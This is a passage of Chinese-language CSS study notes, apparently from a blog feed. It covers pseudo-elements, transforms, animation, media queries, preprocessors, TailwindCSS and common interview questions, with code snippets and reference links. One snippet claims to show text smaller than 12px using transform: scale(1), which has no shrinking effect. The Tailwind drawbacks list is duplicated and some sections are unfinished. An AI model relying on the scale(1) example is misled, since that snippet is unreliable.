<li>Accessibility: Using a ::before pseudo-element to add content is <strong>discouraged</strong>, as it is not reliably accessible to screen readers.</li>
<li><code>content</code>
<ul>
<li>属性:
<ul>
<li><code>url</code></li>
<li><code>counter</code></li>
<li><code>attr(X)</code>: 将元素的 X 属性以字符串形式返回。如果该元素没有 X 属性，则返回一个空字符串</li>
</ul>
</li>
<li>示例
<ul>
<li><code>content: url(http://www.mozilla.org/favicon.ico) &quot; MOZILLA: &quot;;</code></li>
<li><code>content: &quot; (&quot; attr(id) &quot;)&quot;;</code> 这里的id即该元素的id</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><code>::first-letter</code></li>
<li><code>::first-line</code></li>
<li><code>::selection</code>: 	选择用户选择的元素部分。</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_classes.asp"  target="_blank" rel="noopener" >CSS 伪类</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link"  target="_blank" rel="noopener" >:link - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://www.w3school.com.cn/css/css_pseudo_elements.asp"  target="_blank" rel="noopener" >CSS 伪元素</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/::before"  target="_blank" rel="noopener" >::before - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/content"  target="_blank" rel="noopener" >content - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="letter-spacing">letter-spacing</h2>
<ul>
<li>用于设置文本字符的间距表现</li>
<li>可继承</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/letter-spacing"  target="_blank" rel="noopener" >letter-spacing - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h2 id="grid">GRID</h2>
<p>wip</p>
<hr>
<h2 id="transforms">Transforms</h2>
<ul>
<li>We can use translate to shift an item along in either axis:
<ul>
<li>x moves side to side, y moves up and down.</li>
<li>Positive values move down and to the right. Negative values move up and to the left.</li>
</ul>
</li>
<li>the item&rsquo;s in-flow position doesn&rsquo;t change</li>
<li><code>calc</code>: 示例： <code>transform: translateX(calc(15% + -8px));</code></li>
<li>参考: <a href="https://www.joshwcomeau.com/css/transforms/"  target="_blank" rel="noopener" >CSS Transforms tutorial</a></li>
</ul>
<hr>
<h2 id="animation">animation</h2>
<ul>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">cylon_eye</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">animation</span><span class="p">:</span> <span class="mi">4</span><span class="kt">s</span> <span class="kc">linear</span> <span class="mi">0</span><span class="kt">s</span> <span class="kc">infinite</span> <span class="kc">alternate</span> <span class="n">move_eye</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">move_eye</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">-20</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nt">to</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation"  target="_blank" rel="noopener" >animation - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="媒体查询">媒体查询</h2>
<ul>
<li>语法: <code>@media (min-width: 30em) and (orientation: landscape) { ... }</code></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_media_queries/Using_media_queries"  target="_blank" rel="noopener" >使用媒体查询 - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="预处理器">预处理器</h2>
<ul>
<li>LESS</li>
<li>SCSS</li>
<li>PostCSS</li>
</ul>
<h3 id="lesssass解决了什么问题">less/sass解决了什么问题</h3>
<p>wip</p>
<h3 id="css-in-js-与-less-sass预处理器的好处">css in js 与 less sass预处理器的好处</h3>
<p>wip</p>
<ul>
<li><a href="http://blog.fantasy.codes/css/2021/09/10/css-in-js-debet/"  target="_blank" rel="noopener" >CSS-in-JS 技术解惑</a></li>
</ul>
<hr>
<h2 id="现代化-css-开发流程">现代化 CSS 开发流程</h2>
<ul>
<li>借助@mixin、@extend等预处理器提供的方法，可以复用 css 代码片段，甚至在 css 中写一些逻辑。</li>
<li>借助autoprefixer、px2rem等 postcss 工具，不需要写繁琐的前缀和单位转换。</li>
<li>借助css module、css scoped等工具，不用考虑样式冲突，以至于不用过多地考虑命名了。</li>
<li>借助BEM命名规范，解决命名难</li>
<li>参考
<ul>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
<li><a href="https://juejin.cn/post/6844903672162304013"  target="_blank" rel="noopener" >CSS — BEM 命名规范Bem 是块（block）、元素（element）、修饰符（modifier）的简写，由 Y - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="tailwindcss">TailwindCSS</h2>
<ul>
<li>工作原理：扫描所有文件的类名，生成相应的样式，然后将它们写入静态 CSS 文件。</li>
<li>JIT 引擎（Just-In-Time）:在编译过程才去扫描html 文件，在这个过程中去识别使用了哪些类名，然后才生成对应的样式</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>优点:
<ol>
<li>通过自定义原子类，能约定好设计规范,规范好标题字号、颜色，这个盒子内边距、外边距之类的属性</li>
<li>通过<a href="https://tailwindcss.com/docs/reusing-styles#extracting-classes-with-apply"  target="_blank" rel="noopener" >@apply</a>可以将一堆原子类合并到一个独立的类名中,就能结合原子类的样式复用和语义化类名容易维护的优点,由此一定程度上解决缺点1</li>
<li>针对维护麻烦的问题，可以将常用组件进行封装, 由此一定程度上解决缺点2</li>
</ol>
</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://michaeljier.cn/blog/diving-into-tailwindcss"  target="_blank" rel="noopener" >深入浅出 tailwindcss</a></li>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="scroll-timeline">scroll-timeline</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-timeline"  target="_blank" rel="noopener" >scroll-timeline - CSS: Cascading Style Sheets | MDN</a></p>
<hr>
<h2 id="问答题">问答题</h2>
<h3 id="显示小于12px文字">显示小于12px文字</h3>
<ol>
<li>使用transform: scale()</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform</span><span class="p">:</span> <span class="nb">scale</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform-origin</span><span class="p">:</span> <span class="kc">left</span> <span class="kc">top</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li>使用-webkit-text-size-adjust</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kp">-webkit-</span><span class="n">text-size-adjust</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>使用vw单位</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mf">0.625</span><span class="kt">vw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://juejin.cn/post/7419532688972464137"  target="_blank" rel="noopener" >前端面试题，显示小于12px文字Chrome显示小于12px文字 难度: 困难 公司: 百度 标签: CSS 字体大小 - 掘金</a></li>
</ul>
<h3 id="css画三角形">css画三角形</h3>
<ul>
<li>等腰三角形</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">filled-triangle</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">width</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">height</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-bottom</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">cyan</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-right</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;/</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/518"  target="_blank" rel="noopener" >第207题：CSS 如何实现一个三角形？ · Issue #518 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="如何实现水平垂直居中">如何实现水平垂直居中</h3>
<ol>
<li><strong>Flexbox</strong>
适用于块级容器中的元素垂直居中。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 垂直居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span> <span class="c">/* 确保容器有高度 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li><strong>Grid Layout</strong></li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="k">grid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">place-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 同时垂直和水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li><strong>使用<code>line-height</code>（适用于单行文本）</strong>
如果只是文本，使用<code>line-height</code>与<code>height</code>相等可以达到垂直居中效果。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">line-height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> <span class="c">/* 与容器高度相同 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="4">
<li><strong>绝对定位 + 负边距</strong>
适用于已知元素宽高的情况下：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">transform</span><span class="p">:</span> <span class="nb">translate</span><span class="p">(</span><span class="mi">-50</span><span class="kt">%</span><span class="p">,</span> <span class="mi">-50</span><span class="kt">%</span><span class="p">);</span> <span class="c">/* 通过transform偏移居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="5">
<li><strong><code>table</code>布局</strong>
适用于需要兼容旧版浏览器的场景：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table-cell</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">vertical-align</span><span class="p">:</span> <span class="kc">middle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="6">
<li><strong>CSS Variables（动态适应不同的场景）</strong>
可以结合Flexbox和Grid等方式，动态控制居中的方法。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">root</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">--container-height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="kc">container</span><span class="o">-</span><span class="n">height</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/515"  target="_blank" rel="noopener" >第204题：如何实现元素的水平垂直居中？ · Issue #515 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="脱离文档流">脱离文档流</h3>
<ul>
<li>含义:
<ul>
<li>元素脱离文档流之后，将不再在文档流中占据空间，而是处于浮动状态（可以理解为漂浮在文档流的上方）。脱离文档流的元素的定位基于正常的文档流，当一个元素脱离文档流后，依然在文档流中的其他元素将忽略该元素并填补其原先的空间。</li>
</ul>
</li>
<li>方法
<ol>
<li>float</li>
<li>absolute</li>
<li>fixed</li>
</ol>
</li>
<li>参考: <a href="https://www.cnblogs.com/Tony-Ding/articles/11928919.html"  target="_blank" rel="noopener" >【css】脱离文档流的三种方法 - 十八力丁 - 博客园</a></li>
</ul>
<h3 id="如何实现响应式">如何实现响应式</h3>
<ol>
<li>减少使用绝对单位，而是使用相对单位</li>
<li>媒体查询</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images"  target="_blank" rel="noopener" >响应式图片 - 学习 Web 开发 | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design"  target="_blank" rel="noopener" >响应式设计 - 学习 Web 开发 | MDN</a></li>
</ol>
<h3 id="如何实现固定宽高比">如何实现固定宽高比</h3>
<ul>
<li>参考: <a href="https://juejin.cn/post/6844904070679887886"  target="_blank" rel="noopener" >面试官：CSS如何实现固定宽高比 ？ - 掘金</a></li>
</ul>
<h3 id="实现三栏布局">实现三栏布局</h3>
<p>wip</p>
<h3 id="写个css当文本没有超过容器宽度时居中显示超过宽度则换行并左对齐displaytabel-cell或者widthfit-content但是忘了">写个css，当文本没有超过容器宽度时居中显示，超过宽度则换行，并左对齐（display:tabel-cell或者width:fit-content，但是忘了）</h3>
<p>wip</p>
<h3 id="用css实现一个模态窗口要从窗口下面向上弹的动画">用css实现一个模态窗口，要从窗口下面向上弹的动画</h3>
<p>wip</p>
<h3 id="如何保证让contextmenu出现在可视区域如何打开自己的contextmenu">如何保证让contextmenu出现在可视区域，如何打开自己的contextmenu</h3>
<p>wip</p>
<hr>
<h2 id="参考-5">参考</h2>
<ul>
<li><a href="https://segmentfault.com/a/1190000022021557#item-11"  target="_blank" rel="noopener" >104道 CSS 面试题，助你查漏补缺 - 前端笔记本 - SegmentFault 思否</a></li>
<li><a href="https://bgww.apachecn.org/CSS-%E9%9D%A2%E8%AF%95%E9%A2%98%EF%BC%88%E5%B1%B1%E6%9C%88%EF%BC%89/"  target="_blank" rel="noopener" >CSS 面试题（山月） - 【布客】八股文知识库</a></li>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
